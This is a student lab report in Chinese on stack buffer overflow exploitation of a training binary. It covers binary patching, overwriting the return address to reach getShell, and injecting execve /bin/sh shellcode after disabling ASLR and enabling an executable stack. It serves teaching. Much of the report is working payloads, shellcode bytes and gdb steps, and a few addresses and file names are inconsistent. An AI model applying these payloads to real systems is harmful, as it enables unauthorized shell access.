20251909 2025-2026-2 《网络攻防实践》实践九
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
一、大小端字节存储模式
1. 基本概念
计算机在内存中多字节数据存在两种存储顺序,主流x86/x86_64架构Linux系统均默认使用小端序,是缓冲区溢出构造Payload的核心知识点。
- 小端序(Little-Endian):低字节存低地址,高字节存高地址
- 大端序(Big-Endian):高字节存低地址,低字节存高地址
2. 实例演示
以32位地址 0xFFFFD040 为例:
十六进制拆分:FF FF D0 40
- 小端内存存放顺序:
40 D0 FF FF - 大端内存存放顺序:
FF FF D0 40
3. PWN实战用途
溢出攻击中需要改写函数返回地址EIP,必须将内存地址倒序写成十六进制转义字符,例如地址0xffffd040写入Payload格式为:\x40\xd0\xff\xff。
二、补码基础知识
1. 核心规则
计算机所有整数统一使用补码存储运算,无原码、反码直接参与计算。
- 正数:原码 = 反码 = 补码
- 负数:补码 = 对应正数原码取反(反码)+ 1
三、Shellcode构造基础
0.常见汇编指令及其含义
1、NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
2、JNE:条件转移指令,如果不相等则跳转。(机器码:75)
3、JE:条件转移指令,如果相等则跳转。(机器码:74)
4、JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
5、CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
1. 定义
Shellcode是精简无冗余、无空字节的二进制机器指令流,注入程序后可被CPU直接执行,最常用功能为调用系统函数获取交互式Shell。
2. 编写硬性要求
- 禁止包含
\x00空字节:gets、scanf等输入函数遇到0x00会截断数据,导致注入失败 - 指令短小精简,适配栈缓冲区空间
- 适配对应系统架构:32位Linux、64位Linux、Windows架构Shellcode互不通用
3. 32位Linux通用Shellcode原理
核心调用内核execve系统调用,执行/bin/sh程序实现提权拿Shell。
- 汇编编写底层调用逻辑
- 汇编编译后提取纯机器码
- 剔除坏字节,封装为可直接使用的十六进制字符串
4. 配套辅助指令
- NOP指令:十六进制
\x90,空执行指令,又称NOP滑梯 - 作用:批量填充在Shellcode前方,增大跳转命中概率,提升溢出攻击成功率
5. 实战嵌入流程
- 计算缓冲区到EIP的溢出偏移量
- 偏移位置填入小端序跳转地址
- 地址后方填充NOP空指令
- 最后拼接完整Shellcode,组合成完整攻击Payload
四、实验payload构造流程总结
栈溢出完整利用流程:
利用偏移量填满缓冲区 → 通过大小端规则写入跳转地址 → 依靠NOP滑梯精准命中 → 执行自定义Shellcode → 依托系统补码/内存机制完成权限获取,三者为Linux栈溢出漏洞利用必备底层基础。
五、缓冲区溢出漏洞
缓冲区溢出漏洞
- 漏洞原理
程序向固定大小缓冲区写入超长数据,超出边界覆盖栈上其他数据(EBP、EIP 返回地址),篡改程序执行流程,进而执行恶意代码。
核心成因
使用不安全输入函数:gets()、strcpy()、sprintf() 无长度校验
未做输入长度限制,用户可控数据可无限写入缓冲区
栈内存布局连续,溢出可逐层覆盖栈帧数据
六、常见汇编指令及其机器码
| 汇编指令 | 指令全称 | 功能说明 | 典型机器码 | 备注 |
|---|---|---|---|---|
| NOP | No Operation | 空操作,占用 1 个时钟周期 | 0x90 | 单字节指令,无操作数 |
| CMP | Compare | 比较指令,执行减法不保存结果,仅影响标志位 | 0x3C(立即数 / AL)、0x39(寄存器 / 内存) | 机器码随操作数组合变化 |
| JE | Jump if Equal | 相等则跳转(ZF=1) | 0x74 | 短跳转(-128~127),机器码 + 偏移量 |
| JNE | Jump if Not Equal | 不相等则跳转(ZF=0) | 0x75 | 短跳转(-128~127),机器码 + 偏移量 |
| JMP | Jump | 无条件跳转 | 短跳转:0xEB近跳转:0xE9绝对跳转:0xFF | 机器码随跳转类型 / 寻址方式变化 |
2.实践过程
2.1 直接手工修改可执行文件,改变程序执行流程,跳转到getShell函数
输入指令objdump -d 20251909swl | more查看反汇编指令。


我们看到getShell、foo以及main等函数的信息,关键地址信息如下:
call指令所在地址:0x080484b5
call指令的下一条指令地址(返回地址):0x080484ba
原目标函数foo的地址:0x08048491
目标函数getShell的地址:0x0804847d
这就需要我们修改main函数中call foo的指令,让它跳转到getShell函数,而不是原来的foo函数
- 前置知识:x86架构下的call 32指令采用相对寻址方式,其跳转目标地址的计算公式为:目标地址=返回地址+偏移量
其中偏移量为32位有符号整数,以补码形式存储在指令的机器码中
因此要修改call指令的跳转目标,只需要修改其对应的32位偏移量即可。
全局关键分析(也影响后面两个实验)
具体地,当前程序下main函数中第四行是在调用08048491地址的foo函数,

其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。(顺序执行,eip类似于pc寄存器)
三者关系:80484ba + d7 ff ff ff = 08048491。(也就是正常跳转到foo函数的汇编地址)
所以,要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址即可。
这里有一个非常重要的机器指令e8 :E8 = CALL 指令后面 4 个字节 = 相对偏移地址(小端序)
所以我们需要将getshell的地址减去当前eip内容80484ba,用上述关系计算:804847d - 80484ba = c3 ff ff ff。拼凑可得要修改的机器指令为:e8 c3 ff ff ff。
将main函数中的e8 d7 ff ff ff修改为e8 c3 ff ff ff,就能使程序在执行到该call指令时,不再调用foo函数,而是直接跳转到getShell函数
输入指令vim 20251909swl打开文件,可以看到一堆乱码,原因是编码形式的不同。

键入命令“:%!xxd”然后回车,将文件转换为16进制可以看到:

找需要修改的部分,输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。

输入 :%!xxd -r 还原为原格式后,:wq 保存退出。

再次输入objdump -d 20251909swl查看返汇编代码,看见代码被成功修改!“call .......getshell”

实践运行文件20251909swl,输入hostname和ls分别查看主机名称和文件同目录下所有文件。

2.2 利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数
输入 objdump -d 文件名 | more 查看pwn文件。

上面这个函数 getShell,我们的目标是触发这个函数。
该可执行文件正常运行是调用如下函数 foo,仔细分析后发现foo函数存在漏洞:系统仅预留了 28(0x1c)字节的缓冲区,超出部分将发生溢出,我们的目标是覆盖返回地址。
下载gdb工具做汇编程序调试,


对文件swl20251909_2文件进行调试,输入r运行。输入一段超长字符串AAAAAAAABBBBBBBBCCCCCCCCDDDDD
DDDEEEEEEEEFFFF来观察EIP被覆盖的情况。(该字符串将不同字母划分为固定长度分段,每一类字母对应唯一十六进制 ASCII 码,形成专属识别特征,函数运行崩溃后,直接查看寄存器内数值,就能快速判断当前是哪一段字符覆盖到了对应栈区域,若寄存器数值为0x43434343则代表覆盖到栈基址 EBP,数值为0x44444444就说明成功覆盖关键返回地址 EIP。)
程序崩溃后,输入info registers查看寄存器状态

- 发现EIP=0x45454545,对应字符"EEEE",可知偏移量是32字节
现在构造攻击payload,攻击字符串的结构为:
32字节填充+getShell地址(小端序)
getShell的入口地址在2.1节已确认为0x0804847d,小端序表示为\x7d\x84\x04\x08
所以我们得到输入指令perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > payload,生成payload文件,示意图如下。
+-----------------------+ <-- 缓冲区起始位置 (内存低地址)
| |
| 32 个 'A' | 填满缓冲区 + 覆盖 EBP
| (0x41 * 32) |
| |
+-----------------------+ <-- 偏移 32 字节位置(EIP 原本存放处)
| |
| \x7d\x84\x04\x08 | 覆盖函数返回地址 EIP
| (小端序:0x0804847d) |
| |
+-----------------------+ 内存高地址

- 可以看到末尾就是getshell的入口地址!!!!理论可行。
最后输入指令(cat payload; cat) | ./swl20251909_2执行攻击,键入enter回车后,获得shell ls查看目录下文件,发现程序成功调用了getShell函数!实验完成。
![image]()
2.3注入一个自己制作的shellcode并运行这段shellcode
首先安装execstack。输入 execstack -s swl20251909_2设置堆栈可执行。然后输入 execstack -q swl20251909_2查询文件的堆栈是否可执行。
然后我们需要查看地址随机化的状态,如果开启则需要关闭地址随机化,输入命令:more /proc/sys/kernel/randomize_va_space查询地址随机化状态。返回值显示2 说明随机化已开启。
输入指令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址空间随机化(ASLR) (下图中包含询文件的堆栈是否可执行和随机化是否已开启两个步骤。)

构造初始payload:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2
x1\x00"' > input_swl2519
输入指令(cat input20252909; cat) | ./swl20251909_2将input_swl2519设为swl20251909_2的输入。(这里指令执行以后暂时不要再按enter键了)

同时打开一个新的终端,输入ps -ef | grep swl20251909_2查看swl20251909_2被调用包含的进程。可以看到进程pid为144494
进入gdb输入指令attach 144494进行静态调试。
输入指令disassemble foo查看ret指令地址。
输入指令break *0x080484ae设置断点,然后输入continue

回到之前的终端(即payload执行的那里),按下回车
然后在gdb中输入info r esp显示栈指针esp寄存器的值

观察到寄存器的值为0xffffd03c,输入指令x/16x 0xffffd2ec查看当前栈顶的值。

可以观察到0x01020304,和之前输入的x4x3x2x1相对应,进行计算得到:ffffd03c+0x4=ffff d040(可口算)
所以我们得到了最终需要构造的payload如下;
perl -e 'print "A" x 32; print "\x40\xd0\xff\xff";
print "\x90" x 16; print
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x
6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > swlinput_1909
重新用 swlinput_1909执行输入,我们顺利得到shell,所有实验完成。

3.学习中遇到的问题及解决
- 问题1:gdb调试器无法下载安装 “Err:1 http://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 libexpat1-dev amd64 2.7.5-1 Cannot initiate the connection to mirrors.ustc.edu.cn:80 (2001:da8:d800:95::110). - ”
- 问题1解决方案:IPv6 不通,导致无法连接中科大镜像源(报错 Network is unreachable)
当前安装命令会强制升级 / 卸载大量系统依赖(44 个包被移除,251 个升级)
1. 备份原有源
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
2. 写入【阿里云Kali源】(国内最稳定,无IPv6问题)
sudo tee /etc/apt/sources.list <<-'EOF'
deb http://mirrors.aliyun.com/kali kali-rolling main non-free non-free-firmware contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free non-free-firmware contrib
EOF
3. 强制IPv4更新(解决网络不可达问题)
sudo apt update -o Acquire::ForceIPv4=true --fix-missing
4. 【关键】仅安装gdb,不升级/卸载任何系统包(安全!)
sudo apt install gdb -y --no-upgrade
依次键入上述指令即可解决。
4.实践总结
本次实验学习了缓冲区溢出漏洞,payload的构造方式,以及反汇编代码的简单分析,收益颇丰,顺带还回忆起了计算机组成原理里补码,汇编指令的知识,对于程序的运行机理有了一定的了解!实验内容有趣且综合性强,期待下次实验。

浙公网安备 33010602011771号